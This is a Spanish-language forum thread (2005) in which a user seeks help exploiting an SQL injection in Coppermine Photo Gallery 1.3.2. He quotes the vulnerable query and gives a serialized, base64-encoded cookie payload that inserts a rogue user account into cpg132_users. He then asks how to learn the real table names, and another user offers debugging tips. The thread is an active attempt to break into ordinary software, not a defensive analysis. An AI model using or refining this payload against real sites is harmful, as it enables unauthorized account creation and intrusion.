SQL injection complicada

Iniciado por jujaLVP, 8 Junio 2005, 02:13 AM

0 Miembros y 1 Visitante están viendo este tema.

jujaLVP

hola gente: estoy intentando explotar una Vulnerabilidad de SQL injection en CPG 1.3.2 que es bastante dificil, ya que el codigo sql se coloca en una cookie codificada en base64 y dentro de una estrictura formada con la funcuion php "serialize" que sirve para guardar datos y sus tipos,Les muestro el codigo del Query:

Citarif (count($FAVPICS)>0){
        $favs = implode(",",$FAVPICS);

        $select_columns = 'filepath,filename';

        $result = db_query("SELECT $select_columns FROM {$CONFIG['TABLE_PICTURES']} WHERE approved = 'YES'AND pid IN ($favs)");
        $rowset = db_fetch_rowset($result);
        foreach ($rowset as $key => $row){

                $filelist[] = $rowset[$key]['filepath'].$rowset[$key]['filename'];

        }

$FAVPICS es un arreglo que contiene numeros de id de imagenes,y se extrae drectamente de las cookies sin chequeo alguno.osea que en $favs es donde estara nuestro codigo de injeccion.

En los datos de la cookie coloque esto:

a:1:{i:0;s:282:";INSERT INTO cpg132_users (user_regdate,user_active, user_actkey, user_name,user_password, user_email, user_location,user_interests, user_website, user_occupation)VALUES ('0000-00-00 00:00:00', '', '','nombreusuario', 'pass', 'email@dominio.com', '','', '', '' );#";}

lo probe en mi servidor mysql y no me tira error alguno, funciona, pero cuando pongo esto en la cookie(codificado en base64) me dice la pagina que hay un error el procesar el query.


laguna sugerencia¿?

saludos

Morris

Porque no le das un echo antes de ejecutar el query y nos muestras que es lo que estás tratando de insertar desde la cookie ?
Carta Poder
Ejemplos
Memorandum
Carta Recomendacion
www.ejemplode.com/12-clases_de_espanol/

jujaLVP

#2
el query final quedaria asi:


SELECT filepath,filename  FROM {$CONFIG['TABLE_PICTURES']} WHERE approved = 'YES'AND pid IN (;INSERT INTO cpg132_users (user_regdate,user_active, user_actkey, user_name,user_password, user_email, user_location,user_interests, user_website, user_occupation)VALUES ('0000-00-00 00:00:00', '', '','nombreusuario', 'pass', 'email@dominio.com', '','', '', '' );#)



{$CONFIG['TABLE_PICTURES']}: es el nombre de la tabla pictures"

y aca esta la pantalla del error que me tira




saludos

Morris

Bueno lo que yo hago cuando programo sería algo así... Haz lo mismo pero con PHP, no se la sintaxis pero la idea es:

sql = "select * from tabla"
response.write sql
response.end
conn.execute(sql)

De esta forma no se realiza el query, pero te imprime en pantalla la información que estás enviando, te remplaza las variables... es probable que algo con la codificacion esté tronando. No soy un experto en esto, pero según veo todavia tienes unas variables por ahí

$CONFIG['TABLE_PICTURES']}

Espero explicarme.

Salu2
Carta Poder
Ejemplos
Memorandum
Carta Recomendacion
www.ejemplode.com/12-clases_de_espanol/

jujaLVP

he notado que coppermine utiliza variables tipo "$CONFIG['TABLE_PICTURES']} "para referirse a las tabals en la base de datos, quizas mi codigo no tenga efecto porque yo estoy usando el nombre "default" de las tablas .
alguien sabe como puedo obtener el nombre de la tabla sabiendo que no muestra eeror alguno para guiarme...?¿


saludos